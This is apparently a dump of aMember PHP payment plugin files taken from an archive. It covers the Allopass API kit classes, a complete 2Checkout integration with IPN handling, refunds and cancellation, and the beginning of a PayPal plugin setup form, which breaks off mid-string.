Method retrieving the button checkout HTML string * * @return (string) The button checkout HTML string */ public function getCheckoutButton() { return (string) $this->_xml->checkout_button; } }PK\L ?payment/allopass/apikit/model/AllopassProductDetailResponse.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassProductDetailResponse extends AllopassApiMappingResponse { /** * Constructor * * @param signature (string) Expected response signature * @param headers (string) HTTP headers of the response * @param body (string) Raw data of the response */ public function __construct($signature, $headers, $body) { parent::__construct($signature, $headers, $body); } /** * Method retrieving the product id * * @return (integer) The product id */ public function getId() { return (integer) $this->_xml->id; } /** * Method retrieving the product key * * @return (string) The product key */ public function getKey() { return (string) $this->_xml->key; } /** * Method retrieving the product access-type * * @return (string) The product access-type */ public function getAccessType() { return (string) $this->_xml->access_type; } /** * Method retrieving the product creation date * * @return (AllopassDate) The product creation date */ public function getCreationDate() { return new AllopassDate($this->_xml->creation_date); } /** * Method retrieving the product name * * @return (string) The product name */ public function getName() { return (string) $this->_xml->name; } /** * Method retrieving the product's website * * @return (AllopassWebsite) The product's website */ public function getWebsite() { return new AllopassWebsite($this->_xml->website); } /** * Method retrieving the product expected number of codes * * @return (integer) The product expected number of codes */ public function getExpectedNumberOfCodes() { return (integer) $this->_xml->expected_number_of_codes; } /** * Method retrieving the product purchase url * * @return (string) The product purchase url */ public function getPurchaseUrl() { return (string) $this->_xml->purchase_url; } /** * Method retrieving the product forward url * * @return (string) The product forward url */ public function getForwardUrl() { return (string) $this->_xml->forward_url; } /** * Method retrieving the product error url * * @return (string) The product error url */ public function getErrorUrl() { return (string) $this->_xml->error_url; } /** * Method retrieving the product notification url * * @return (string) The product notification url */ public function getNotificationUrl() { return (string) $this->_xml->notification_url; } }PK\5Bƨe7e7+payment/allopass/apikit/api/AllopassAPI.phpnu[ * @author Jérémy Langlais * * @date 2011 (c) Hi-media */ class AllopassAPI { /** * Email of the configurated account */ private $_configurationEmailAccount; /** * Constructor * * @param configurationEmailAccount (string) Email of the configurated account * If email is null, the first account is considered */ public function __construct($configurationEmailAccount = null) { $this->_configurationEmailAccount = $configurationEmailAccount; } /** * Method for changing the configuration account email * * @param configurationEmailAccount (string) Email of the configurated account * If email is null, the first account is considered * * @return (AllopassAPI) The class instance */ public function setConfigurationEmailAccount($configurationEmailAccount) { $this->_configurationEmailAccount = $configurationEmailAccount; return $this; } /** * Method performing a onetime pricing request * * @param parameters (array) Query string parameters of the API call * @param mapping (boolean) Should the response be an object mapping or a plain response * * @return (AllopassApiResponse) The API call response * Will be a AllopassOnetimePricingResponse instance if mapping is true, an AllopassApiPlainResponse if not * * @code * require_once 'apikit/php5/api/AllopassAPI.php'; * $api = new AllopassAPI(); * $response = $api->getOnetimePricing(array('site_id' => 127042, 'country' => 'FR')); * echo $response->getWebsite()->getName(), "\n-----\n"; * foreach ($response->getCountries() as $country) { * echo $country->getCode(), "\n-----\n"; * echo $country->getName(), "\n-----\n"; * } * @endcode */ public function getOnetimePricing(array $parameters, $mapping = true) { $request = new AllopassOnetimePricingRequest($parameters, $mapping, $this->_configurationEmailAccount); return $request->call(); } /** * Method performing a onetime discrete pricing request * * @param parameters (array) Query string parameters of the API call * @param mapping (boolean) Should the response be an object mapping or a plain response * * @return (AllopassApiResponse) The API call response * Will be a AllopassOnetimePricingResponse instance if mapping is true, an AllopassApiPlainResponse if not * * @code * require_once 'apikit/php5/api/AllopassAPI.php'; * $api = new AllopassAPI(); * $response = $api->getOnetimeDiscretePricing(array('site_id' => 127042, 'country' => 'FR', 'amount' => 12)); * echo $response->getWebsite()->getName(), "\n-----\n"; * foreach ($response->getCountries() as $country) { * echo $country->getCode(), "\n-----\n"; * echo $country->getName(), "\n-----\n"; * } * @endcode */ public function getOnetimeDiscretePricing(array $parameters, $mapping = true) { $request = new AllopassOnetimeDiscretePricingRequest($parameters, $mapping, $this->_configurationEmailAccount); return $request->call(); } /** * Method performing a onetime validate codes request * * @param parameters (array) Query string parameters of the API call * @param mapping (boolean) Should the response be an object mapping or a plain response * * @return (AllopassApiResponse) The API call response * Will be a AllopassOnetimeValidateCodesResponse instance if mapping is true, an AllopassApiPlainResponse if not * * @code * require_once 'apikit/php5/api/AllopassAPI.php'; * $api = new AllopassAPI(); * $response = $api->validateCodes(array('site_id' => 127042, 'product_id' => 354926, 'code' => array('9M7QU457'))); * echo $response->getStatus(), "\n-----\n"; * echo $response->getStatusDescription(), "\n-----\n"; * @endcode */ public function validateCodes(array $parameters, $mapping = true) { $request = new AllopassOnetimeValidateCodesRequest($parameters, $mapping, $this->_configurationEmailAccount); return $request->call(); } /** * Method performing a onetime button request * * @param parameters (array) Query string parameters of the API call * @param mapping (boolean) Should the response be an object mapping or a plain response * * @return (AllopassApiResponse) The API call response * Will be a AllopassOnetimeButtonResponse instance if mapping is true, an AllopassApiPlainResponse if not * * @code * require_once 'apikit/php5/api/AllopassAPI.php'; * $api = new AllopassAPI(); * $response = $api->createButton(array('site_id' => 127042, 'product_name' => 'premium sms access', 'forward_url'=> 'http://product-page.com', 'amount' => 3, 'reference_currency' => 'EUR', 'price_mode' => 'price', 'price_policy' => 'high-only')); * echo $response->getButtonId(), "\n-----\n"; * echo $response->getBuyUrl(), "\n-----\n"; * @endcode */ public function createButton(array $parameters, $mapping = true) { $request = new AllopassOnetimeButtonRequest($parameters, $mapping, $this->_configurationEmailAccount); return $request->call(); } /** * Method performing a onetime discrete button request * * @param parameters (array) Query string parameters of the API call * @param mapping (boolean) Should the response be an object mapping or a plain response * * @return (AllopassApiResponse) The API call response * Will be a AllopassOnetimeButtonResponse instance if mapping is true, an AllopassApiPlainResponse if not * * @code * require_once 'apikit/php5/api/AllopassAPI.php'; * $api = new AllopassAPI(); * $response = $api->createDiscreteButton(array('site_id' => 127042, 'product_name' => 'discrete premium sms access', 'forward_url'=> 'http://product-page.com', 'amount' => 3, 'reference_currency' => 'EUR', 'price_mode' => 'price', 'price_policy' => 'high-only')); * echo $response->getButtonId(), "\n-----\n"; * echo $response->getBuyUrl(), "\n-----\n"; * @endcode */ public function createDiscreteButton(array $parameters, $mapping = true) { $request = new AllopassOnetimeDiscreteButtonRequest($parameters, $mapping, $this->_configurationEmailAccount); return $request->call(); } /** * Method performing a product detail request * * @param id (integer) The product id * @param parameters (array) Query string parameters of the API call * @param mapping (boolean) Should the response be an object mapping or a plain response * * @return (AllopassApiResponse) The API call response * Will be a AllopassProductDetailResponse instance if mapping is true, an AllopassApiPlainResponse if not * * @code * require_once 'apikit/php5/api/AllopassAPI.php'; * $api = new AllopassAPI(); * $response = $api->getProduct(354926); * echo $response->getName(), "\n-----\n"; * @endcode */ public function getProduct($id, array $parameters = array(), $mapping = true) { $request = new AllopassProductDetailRequest(array('id' => $id) + $parameters, $mapping, $this->_configurationEmailAccount); return $request->call(); } /** * Method performing a transaction prepare request * * @param parameters (array) Query string parameters of the API call * @param mapping (boolean) Should the response be an object mapping or a plain response * * @return (AllopassApiResponse) The API call response * Will be a AllopassTransactionPrepareResponse instance if mapping is true, an AllopassApiPlainResponse if not * * @code * require_once 'apikit/php5/api/AllopassAPI.php'; * $api = new AllopassAPI(); * $response = $api->prepareTransaction(array('site_id' => 127042, 'pricepoint_id' => 2, 'product_name' => 'premium calling product', 'forward_url' => 'http://product-page.com')); * echo $response->getBuyUrl(), "\n-----\n"; * echo $response->getCheckoutButton(), "\n-----\n"; * @endcode */ public function prepareTransaction(array $parameters, $mapping = true) { $request = new AllopassTransactionPrepareRequest($parameters, $mapping, $this->_configurationEmailAccount); return $request->call(); } /** * Method performing a transaction detail request based on the transaction id * * @param id (string) The transaction id * @param parameters (array) Query string parameters of the API call * @param mapping (boolean) Should the response be an object mapping or a plain response * * @return (AllopassApiResponse) The API call response * Will be a AllopassTransactionDetailResponse instance if mapping is true, an AllopassApiPlainResponse if not * * @code * require_once 'apikit/php5/api/AllopassAPI.php'; * $api = new AllopassAPI(); * $response = $api->getTransaction('3f5506ac-5345-45e4-babb-96570aafdf6a'); * echo $response->getPaid()->getCurrency(), "\n-----\n"; * echo $response->getPaid()->getAmount(), "\n-----\n"; * @endcode */ public function getTransaction($id, array $parameters = array(), $mapping = true) { $request = new AllopassTransactionDetailRequest(array('id' => $id) + $parameters, $mapping, $this->_configurationEmailAccount); return $request->call(); } /** * Method performing a transaction detail request based on the merchant transaction id * * @param id (string) The merchant transaction id * @param parameters (array) Query string parameters of the API call * @param mapping (boolean) Should the response be an object mapping or a plain response * * @return (AllopassApiResponse) The API call response * Will be a AllopassTransactionDetailResponse instance if mapping is true, an AllopassApiPlainResponse if not * * @code * require_once 'apikit/php5/api/AllopassAPI.php'; * $api = new AllopassAPI(); * $response = $api->getTransactionMerchant('TRX20091112134569B8'); * echo $response->getPaid()->getCurrency(), "\n-----\n"; * echo $response->getPaid()->getAmount(), "\n-----\n"; * @endcode */ public function getTransactionMerchant($id, array $parameters = array(), $mapping = true) { $request = new AllopassTransactionMerchantRequest(array('id' => $id) + $parameters, $mapping, $this->_configurationEmailAccount); return $request->call(); } /** * Method performing a subscription login request based on the sid * * @param parameters (array) Query string parameters of the API call * @param mapping (boolean) Should the response be an object mapping or a plain response * * @return (AllopassApiResponse) The API call response * Will be a AllopassSubscriptionLoginResponse instance if mapping is true, an AllopassApiPlainResponse if not * * @code * require_once 'apikit/php5/api/AllopassAPI.php'; * $api = new AllopassAPI(); * $response = $api->loginSubscription(array('site_id' => 127042, 'sid' => 'd5425009734ea2801c0389c7bc2f8be4')); * echo $response->getStatus(), "\n-----\n"; * echo $response->getStatusDescription(), "\n-----\n"; * @endcode */ public function loginSubscription(array $parameters = array(), $mapping = true) { $request = new AllopassSubscriptionLoginRequest($parameters, $mapping, $this->_configurationEmailAccount); return $request->call(); } /** * Method performing a subscription detail request based on the subscriber_reference * * @param parameters (array) Query string parameters of the API call * @param mapping (boolean) Should the response be an object mapping or a plain response * * @return (AllopassApiResponse) The API call response * Will be a AllopassSubscriptionDetailResponse instance if mapping is true, an AllopassApiPlainResponse if not * * @code * require_once 'apikit/php5/api/AllopassAPI.php'; * $api = new AllopassAPI(); * $response = $api->getSubscription('Z556W642'); * echo $response->getStatus(), "\n-----\n"; * echo $response->getStatusDescription(), "\n-----\n"; * echo $response->getAccessType(), "\n-----\n"; * echo $response->getSubscriberReference(), "\n-----\n"; * @endcode */ public function getSubscription($subscriberReference, array $parameters = array(), $mapping = true) { $request = new AllopassSubscriptionDetailRequest(array('subscriber_reference' => $subscriberReference) + $parameters, $mapping, $this->_configurationEmailAccount); return $request->call(); } }PK\)jjpayment/twocheckout.phpnu[addInteger('seller_id', array('size'=>20)) ->setLabel('2CO Account#'); $form->setDefault('secret', $this->getDi()->security->randomString(10)); $form->addPassword('secret', array('class'=>'el-wide')) ->setLabel("2CO Secret Word\n" . 'set it to the same value as configured in 2CO'); $form->addText('api_username') ->setLabel("2CO API Username\n" . "see point 5 below for details"); $form->addPassword('api_password') ->setLabel("2CO API Password\n" . "see point 5 below for details"); $form->addAdvCheckbox("testing") ->setLabel("Is it a Sandbox (Developer) Account?"); $form->addSelect('lang', array(), array('options' => array( 'en' => 'English', 'zh' => 'Chinese', 'da' => 'Danish', 'nl' => 'Dutch', 'fr' => 'French', 'gr' => 'German', 'el' => 'Greek', 'it' => 'Italian', 'jp' => 'Japanese', 'no' => 'Norwegian', 'pt' => 'Portuguese', 'sl' => 'Slovenian', 'es_ib' => 'Spanish (es_ib)', 'es_la' => 'Spanish (es_la)', 'sv' => 'Swedish' )))->setLabel('2CO Interface language'); $form->addAdvCheckbox('inline') ->setLabel("Use Inline Checkout\n" . "Inline Checkout is iframe checkout option which " . "displays a secure payment form as an overlay on " . "your checkout page. " . 'Your form must also pass in the buyer’s name, email, and full billing address.'); } public function isNotAcceptableForInvoice(Invoice $invoice) { if ($ret = parent::isNotAcceptableForInvoice($invoice)) return $ret; foreach ($invoice->getItems() as $item) { if (!(float)$item->first_total && (float)$item->second_total) return array("2Checkout does not support products with free trial"); if ($item->rebill_times && $item->second_period != $item->first_period) return array(___("2Checkout is unable to handle billing for product [{$item->item_title}] - second_period must be equal to first_period")); } } public function getEndpoint() { return $this->getConfig('testing') ? self::SANDBOX_URL : self::URL; } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { if ($this->getConfig('inline')) { $a = new Am_Paysystem_Action_Form($this->getEndpoint()); $a->setAutoSubmit(false) ->setDisplayReceipt($invoice) ->setProlog(''); } else { $a = new Am_Paysystem_Action_Redirect($this->getEndpoint()); } $a->sid = $this->getConfig('seller_id'); $a->mode = '2CO'; // Check invoice first. If there are more than one recurring product or // recurring product with quantity more then one, then just send one item to 2CO. // 2CO allow to reduce quantity of existing recurring subscription (to cancel eact item if quantity more then 1) // Also IPN notification is sent for each item in subscirption so if quantity = 10, then 10 notifications will be sent. // That can't be handled properly by amember, so disable this functionality. $rec_count = 0; $mul_qty= false; foreach($invoice->getItems() as $item) { if($item->rebill_times) { $rec_count++; if($item->qty>1) $mul_qty = true; } } if(($rec_count>1) || $mul_qty) { $a->{"li_0_type"} = 'product'; $a->{"li_0_name"} = $invoice->getLineDescription(); $a->{"li_0_quantity"} = 1; $a->{"li_0_price"} = moneyRound($invoice->rebill_times ? $invoice->second_total : $invoice->first_total); $a->{"li_0_tangible"} = $invoice->hasShipping() ? 'Y' : 'N'; $a->{"li_0_product_id"} = $invoice->public_id; if ($invoice->rebill_times) { $a->{"li_0_recurrence"} = $this->period2Co($invoice->first_period); if ($invoice->rebill_times != IProduct::RECURRING_REBILLS) $a->{"li_0_duration"} = $this->period2Co($invoice->first_period, $invoice->rebill_times + 1); else $a->{"li_0_duration"} = 'Forever'; $a->{"li_0_startup_fee"} = $invoice->first_total - $invoice->second_total; } } else { $i = 0; foreach ($invoice->getItems() as $item) { $a->{"li_{$i}_type"} = 'product'; $a->{"li_{$i}_name"} = $item->item_title; $a->{"li_{$i}_quantity"} = $item->qty; $a->{"li_{$i}_price"} = moneyRound(($item->rebill_times ? $item->second_total : $item->first_total) / $item->qty); $a->{"li_{$i}_tangible"} = $item->is_tangible ? 'Y' : 'N'; $a->{"li_{$i}_product_id"} = $item->item_id; if ($item->rebill_times) { $a->{"li_{$i}_recurrence"} = $this->period2Co($item->first_period); if ($item->rebill_times != IProduct::RECURRING_REBILLS) $a->{"li_{$i}_duration"} = $this->period2Co($item->first_period, $item->rebill_times + 1); else $a->{"li_{$i}_duration"} = 'Forever'; $a->{"li_{$i}_startup_fee"} = $item->first_total - $item->second_total; } $i++; } } $a->currency_code = $invoice->currency; $a->skip_landing = 1; $a->x_Receipt_Link_URL = $this->getReturnUrl(); $a->lang = $this->getConfig('lang', 'en'); $a->merchant_order_id = $invoice->public_id; $a->first_name = $invoice->getFirstName(); $a->last_name = $invoice->getLastName(); $a->city = $invoice->getCity(); $a->street_address = $invoice->getStreet(); $a->state = $invoice->getState(); $a->zip = $invoice->getZip(); $a->country = $invoice->getCountry(); $a->email = $invoice->getEmail(); $a->phone = $invoice->getPhone(); $result->setAction($a); } public function period2Co($period, $rebill_times = 1) { $p = new Am_Period($period); $c = $p->getCount() * $rebill_times; switch ($p->getUnit()) { case Am_Period::DAY: if (!($c % 7)) return sprintf('%d Week', $c/7); else throw new Am_Exception_Paysystem_NotConfigured("2Checkout does not supported per-day billing, period must be in weeks (=7 days), months, or years"); case Am_Period::MONTH: return sprintf('%d Month', $c); case Am_Period::YEAR: return sprintf('%d Year', $c); } throw new Am_Exception_Paysystem_NotConfigured( "Unable to convert period [$period] to 2Checkout-compatible.". "Must be number of weeks, months or years"); } /** @return Am_Paysystem_Twocheckout_Api|null */ public function getApi() { $user = $this->getConfig('api_username'); $pass = $this->getConfig('api_password'); if (empty($user) || empty($pass)) return null; return new Am_Paysystem_Twocheckout_Api($user, $pass, $this->getDi()); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return Am_Paysystem_Transaction_Twocheckout::create($this, $request, $response, $invokeArgs); } public function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { switch ($request->getActionName()) { case 'thanks' : return $this->thanksAction($request, $response, $invokeArgs); case 'admin-cancel' : return $this->adminCancelAction($request, $response, $invokeArgs); case 'cancel' : $invoice = $this->getDi()->invoiceTable->findBySecureId($request->getFiltered('id'), 'STOP'.$this->getId()); if (!$invoice) throw new Am_Exception_InputError("No invoice found [$id]"); $result = new Am_Paysystem_Result; $payment = current($invoice->getPaymentRecords()); $this->cancelInvoice($payment, $result); $invoice->setCancelled(true); return $response->redirectLocation($this->getDi()->url('member/payment-history',null,false)); default : return parent::directAction($request, $response, $invokeArgs); } } public function thanksAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { $log = $this->logRequest($request); $transaction = new Am_Paysystem_Transaction_Twocheckout_Thanks($this, $request, $response, $invokeArgs); $transaction->setInvoiceLog($log); try { $transaction->process(); } catch(Am_Exception_Paysystem_TransactionAlreadyHandled $e){ // Ignore. Just show receipt. } catch (Exception $e) { throw $e; $this->getDi()->errorLogTable->logException($e); throw Am_Exception_InputError(___("Error happened during transaction handling. Please contact website administrator")); } $log->setInvoice($transaction->getInvoice())->update(); $this->invoice = $transaction->getInvoice(); $response->setRedirect($this->getReturnUrl()); } public function cancelAction(Invoice $invoice, $actionName, Am_Paysystem_Result $result) { $payment = current($invoice->getPaymentRecords()); try { $this->cancelInvoice($payment, $result); if ($result->isSuccess()) { $invoice->setCancelled(true); } } catch (Exception $e) { $result->setFailed($e->getMessage()); } } public function cancelInvoice(InvoicePayment $payment, Am_Paysystem_Result $result) { try { $ret = $this->getApi()->detailSale($payment->receipt_id); } catch (Am_Exception_Paysystem $e) { //try to check if it is payment imported from v3 $am3id = $this->getDi()->getDbService()->selectCell("SELECT value from ?_data where `key`='am3:id' AND `table`='invoice_payment' and id=?",$payment->invoice_payment_id); if(!$am3id) throw $e; //try to load by invoice id to find sale id $ret = $this->getApi()->detailInvoice($payment->receipt_id); if(!$ret['sale']['sale_id']) throw $e; //now we have sale id $ret = $this->getApi()->detailSale($ret['sale']['sale_id']); } $lineitems = array(); foreach ($ret['sale']['invoices'] as $inv) { foreach ($inv['lineitems'] as $litem) { if ($litem['billing']['recurring_status'] == 'active') { $lineitems[] = $litem['lineitem_id']; } } } $lineitems = array_unique($lineitems); if (!$lineitems) { $result->setFailed("Order not found, try to refund it manually"); return; } $log = $this->getDi()->invoiceLogRecord; $log->setInvoice($payment->getInvoice()); // foreach ($lineitems as $id) // { $id = max($lineitems); try { $return = $this->getApi()->stopLineitemRecurring($id); } catch (Am_Exception_Paysystem $e) { //if we get //NOTHING_TO_DO //or //Lineitem is not scheduled to recur //mark invoice as cancelled if(preg_match('/NOTHING_TO_DO/', $e->getMessage()) && preg_match('/Lineitem is not scheduled to recur/', $e->getMessage())) return; else throw $e; } if ($return['response_code'] != 'OK') { $result->setFailed("Could not stop recurring for lieitem [$id]. Fix it manually in 2CO account"); return; } // } } public function processRefund(InvoicePayment $payment, Am_Paysystem_Result $result, $amount) { if (!$this->getApi()) throw new Am_Exception_Paysystem_NotConfigured("No 2Checkout API username/password configured - could not do refund"); $log = $this->getDi()->invoiceLogRecord; $log->setInvoice($payment->getInvoice()); $invoice_id = $payment->data()->get(self::DATA_INVOICE_KEY); $return = $this->getApi()->refundInvoice($payment->receipt_id, 5, "Customer Request", $invoice_id); $log->add($return); if ($return['response_code'] == 'OK') { $result->setSuccess(); } else { $result->setFailed($return['response_message']); } } public function getReadme() { return <<Site Management". Set: Direct Return: (*) Header Redirect (your URL) Secret Word: set to any value you like (aMember will offer you generated value, look at the form). IMPORTANT! The same value must be entered to aMember 2Checkout plugin settings on this page Approved URL: %root_url%/payment/twocheckout/thanks 3. Go to "Notifications->Settings", set INS URL: %root_url%/payment/twocheckout/ipn for all messages, click Save You can find Notification menu item (circle) on right side of menu near Help button. 4. Check your aMember product settings: for recurring products first period must be equal to to second period, and period must be in weeks (specify days multilplied to 7), months or years. 5. You can optionally configure API access. It is neccessary for Cancel and Refunds. Your 2Checkout API username and password is different from your 2Checkout login username and password. To get API username and password - Login to your 2Checkout account - Go to Account - User Management. Click on Create Username - Enter necessary details - Make sure to select API Access and API Updating within Access selection. - Save and use these credentials for API username and password CUT; } } class Am_Paysystem_Transaction_Twocheckout extends Am_Paysystem_Transaction_Incoming { // the following messages are sent once for each invoice const ORDER_CREATED = "ORDER_CREATED"; const FRAUD_STATUS_CHANGED = "FRAUD_STATUS_CHANGED"; const SHIP_STATUS_CHANGED = "SHIP_STATUS_CHANGED"; const INVOICE_STATUS_CHANGED = "INVOICE_STATUS_CHANGED"; // the following messages are sent for EACH item in the invoice const REFUND_ISSUED = "REFUND_ISSUED"; const RECURRING_INSTALLMENT_SUCCESS = "RECURRING_INSTALLMENT_SUCCESS"; const RECURRING_INSTALLMENT_FAILED = "RECURRING_INSTALLMENT_FAILED"; const RECURRING_STOPPED = "RECURRING_STOPPED"; const RECURRING_COMPLETE = "RECURRING_COMPLETE"; const RECURRING_RESTARTED = "RECURRING_RESTARTED"; public function findInvoiceId() { return $this->request->getFiltered('vendor_order_id'); } public function getUniqId() { return $this->request->getFiltered('sale_id', $this->request->getFiltered('message_id')); } public function getReceiptId() { return $this->request->getFiltered('sale_id'); // @todo . add rebill date or message_id ? } public function validateSource() { $hash = $this->request->get('sale_id') . intval($this->plugin->getConfig('seller_id')) . $this->request->get('invoice_id') . $this->plugin->getConfig('secret'); return strtoupper(md5($hash)) === $this->request->get('md5_hash'); } public function validateStatus() { return true; } public function validateTerms() { return true; } static function create(Am_Paysystem_Abstract $plugin, Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { switch ($request->get('message_type')) { case Am_Paysystem_Transaction_Twocheckout::ORDER_CREATED: return new Am_Paysystem_Transaction_Twocheckout_Order($plugin, $request, $response, $invokeArgs); case Am_Paysystem_Transaction_Twocheckout::RECURRING_INSTALLMENT_SUCCESS: return new Am_Paysystem_Transaction_Twocheckout_RecurringOrder($plugin, $request, $response, $invokeArgs); case Am_Paysystem_Transaction_Twocheckout::RECURRING_COMPLETE: return new Am_Paysystem_Transaction_Twocheckout_Null($plugin, $request, $response, $invokeArgs); case Am_Paysystem_Transaction_Twocheckout::FRAUD_STATUS_CHANGED: return new Am_Paysystem_Transaction_Twocheckout_Fraud($plugin, $request, $response, $invokeArgs); case Am_Paysystem_Transaction_Twocheckout::REFUND_ISSUED: return new Am_Paysystem_Transaction_Twocheckout_Refund($plugin, $request, $response, $invokeArgs); case Am_Paysystem_Transaction_Twocheckout::RECURRING_STOPPED: return new Am_Paysystem_Transaction_Twocheckout_Cancel($plugin, $request, $response, $invokeArgs); } } } class Am_Paysystem_Transaction_Twocheckout_Order extends Am_Paysystem_Transaction_Twocheckout { public function processValidated() { if ($this->invoice->getPaymentsCount() == 1) foreach ($this->invoice->getPaymentRecords() as $p) if ($p->transaction_id == $this->getUniqId()) return; // already handled by thanksAction, skip silently $p = $this->invoice->addPayment($this); $p->data()->set(Am_Paysystem_Twocheckout::DATA_INVOICE_KEY, $this->request->getParam('invoice_id')); $p->save(); } public function validateTerms() { // @todo for recurring return $this->request->get('invoice_list_amount') == $this->invoice->first_total; } } class Am_Paysystem_Transaction_Twocheckout_RecurringOrder extends Am_Paysystem_Transaction_Twocheckout { public function getUniqId() { return $this->request->getFiltered('sale_id').'-'.$this->request->getFiltered('message_id'); } public function processValidated() { $p = $this->invoice->addPayment($this); $p->data()->set(Am_Paysystem_Twocheckout::DATA_INVOICE_KEY, $this->request->getParam('invoice_id')); $p->save(); } public function validateTerms() { $sum = 0; if($count = $this->request->get('item_count')){ for($i = 1; $i<= $count; $i++){ $sum += $this->request->get('item_list_amount_'.$i); } } return $sum == $this->invoice->second_total; } } class Am_Paysystem_Transaction_Twocheckout_Null extends Am_Paysystem_Transaction_Twocheckout { public function processValidated() { //we just record this info to log } } class Am_Paysystem_Transaction_Twocheckout_Fraud extends Am_Paysystem_Transaction_Twocheckout { public function processValidated() { //we just record this info to log, 2checkout will send separate notification about refund } } class Am_Paysystem_Transaction_Twocheckout_Cancel extends Am_Paysystem_Transaction_Twocheckout { public function processValidated() { $this->invoice->setCancelled(); } } class Am_Paysystem_Transaction_Twocheckout_Refund extends Am_Paysystem_Transaction_Twocheckout { public function getUniqId() { return $this->request->getFiltered('message_id'); } public function getReceiptId() { return $this->request->getFiltered('message_id'); } public function getAmount() { //https://www.2checkout.com/static/va/documentation/INS/message_refund_issued.html $amount = 0; foreach($this->request->getParams() as $k => $v) if(preg_match("/item_type_([0-9]+)/", $k, $m) && $v == 'refund') $amount+=$this->request->get("item_list_amount_$m[1]", 0); return $amount; } public function processValidated() { if (!$this->getAmount()) return; //refund notification for free record $this->invoice->addRefund($this, $this->plugin->getDi()->invoicePaymentTable->getLastReceiptId($this->invoice->pk())); } } class Am_Paysystem_Twocheckout_Api { const URL = 'https://www.2checkout.com/api/'; protected $req, $di; public function __construct($user, $pass, Am_Di $di) { $this->di = $di; $this->req = new Am_HttpRequest(); $this->req->setAuth($user, $pass); $this->req->setHeader('Accept', 'application/json'); } protected function send($title = '') { $log = $this->di->invoiceLogRecord; $log->title = $title; $log->add($this->req); $res = $this->req->send(); $log->add($res); if ($res->getStatus() != 200) throw new Am_Exception_Paysystem("Bad response from 2CO api: HTTP Status " . $res->getStatus() . ', body: ' . $res->getBody()); $ret = json_decode(utf8_encode($res->getBody()), true); if ($ret['response_code'] != 'OK') throw new Am_Exception_Paysystem("Bad response from 2CO api: " . $ret['response_code'] . '-' . $ret['response_message']); return $ret; } function detailSale($saleId) { $this->req->setUrl(self::URL . 'sales/detail_sale?sale_id='.$saleId); return $this->send('detailSale'); } function detailInvoice($invoiceId) { $this->req->setUrl(self::URL . 'sales/detail_sale?invoice_id='.$invoiceId); return $this->send('detailInvoice'); } function refundInvoice($saleId, $reasonCategory, $reasonComment, $invoice_id=null) { $this->req->addPostParameter('sale_id', $saleId); if ($invoice_id) { $this->req->addPostParameter('invoice_id', $invoice_id); } $this->req->addPostParameter('category', $reasonCategory); $this->req->addPostParameter('comment', $reasonComment); $this->req->setMethod('POST'); $this->req->setUrl(self::URL . 'sales/refund_invoice'); return $this->send('refundInvoice'); } function stopLineItemRecurring($lineItemId) { $this->req->addPostParameter('lineitem_id', $lineItemId); $this->req->setMethod('POST'); $this->req->setUrl(self::URL . 'sales/stop_lineitem_recurring'); return $this->send('stopLineItemRecurring'); } } class Am_Paysystem_Transaction_Twocheckout_Thanks extends Am_Paysystem_Transaction_Incoming { public function fetchUserInfo() { $email = preg_replace('/[^a-zA-Z0-9._+@-]/', '', $this->request->get('cemail')); return array( 'name_f' => $this->request->getFiltered('first_name'), 'name_l' => $this->request->getFiltered('last_name'), 'email' => $email, 'country' => $this->request->getFiltered('country'), 'zip' => $this->request->getFiltered('zip'), ); } public function generateInvoiceExternalId() { return $this->getUniqId(); } // // public function autoCreateGetProducts() // { // $cbId = $this->request->getFiltered('item'); // if (empty($cbId)) return; // $pl = $this->getPlugin()->getDi()->billingPlanTable->findFirstByData('clickbank_product_id', $cbId); // if (!$pl) return; // $pr = $pl->getProduct(); // if (!$pr) return; // return array($pr); // } public function getUniqId() { return $this->request->getFiltered('order_number'); } public function findInvoiceId() { return $this->request->getFiltered('merchant_order_id'); } public function getAmount() { return moneyRound($this->request->get('total')); } public function validateSource() { $vars = array( $this->getPlugin()->getConfig('secret'), $this->getPlugin()->getConfig('seller_id'), $this->request->get('order_number'), sprintf('%.2f', $this->request->get('total')), ); $hash = strtoupper(md5(implode('', $vars))); if ($this->request->get('key') != $hash) { throw new Am_Exception_Paysystem_TransactionSource("2Checkout validation failed - most possible [secret] is configured incorrectly - mismatch between values in aMember and 2Checkout"); } return true; } public function validateStatus() { return true; } public function validateTerms() { if ($this->invoice->status == Invoice::PENDING) { $this->assertAmount($this->invoice->first_total, $this->getAmount(), 'First Total'); } else { $this->assertAmount($this->invoice->second_total, $this->getAmount(), 'Second Total'); } return true; } public function getInvoice() { return $this->invoice; } }PK\ FyE P Ppayment/paypal.phpnu[billingPlanTable->customFields()->add( new Am_CustomFieldText( 'paypal_id', "PayPal Button Item Number", "if you want to use PayPal buttons, create button with \n". "the same billing settings, and enter its item number here" ,array(/*,'required'*/) )); } public function getSupportedCurrencies() { return array( 'AUD', 'BRL', 'CAD', 'CZK', 'DKK', 'EUR', 'HKD', 'HUF', 'ILS', 'JPY', 'MYR', 'MXN', 'NOK', 'NZD', 'PHP', 'PLN', 'GBP', 'SGD', 'SEK', 'CHF', 'TWD', 'THB', 'USD', 'TRY', 'RUB'); } public function _initSetupForm(Am_Form_Setup $form) { $form->addText("business", array('class' => 'el-wide')) ->setLabel("Primary Paypal E-Mail Address"); $form->addText("merchant_id", array('class' => 'el-wide')) ->setLabel("Your Merchant ID\n" . "You can get it from Your Account -> Profile"); $form->addText("api_username", array('class' => 'el-wide'))->setLabeL("API Username"); $form->addPassword("api_password")->setLabel("API Password"); $form->addText("api_signature", array('class' => 'el-wide'))->setLabel("API Signature"); $form->addAdvCheckbox("testing") ->setLabel("Is it a Sandbox(Testing) Account?"); $form->addTextarea("alt_business", array('rows'=>3, 'class' => 'one-per-line')) ->setLabel("Alternate PayPal account emails (one per line)"); $form->addAdvCheckbox("dont_verify") ->setLabel( "Disable IPN verification\n" . "Usually you DO NOT NEED to enable this option. However, on some webhostings PHP scripts are not allowed to contact external web sites. It breaks functionality of the PayPal payment integration plugin, and aMember Pro then is unable to contact PayPal to verify that incoming IPN post is genuine. In this case, AS TEMPORARY SOLUTION, you can enable this option to don't contact PayPal server for verification. However, in this case \"hackers\" can signup on your site without actual payment. So if you have enabled this option, contact your webhost and ask them to open outgoing connections to www.paypal.com port 80 ASAP, then disable this option to make 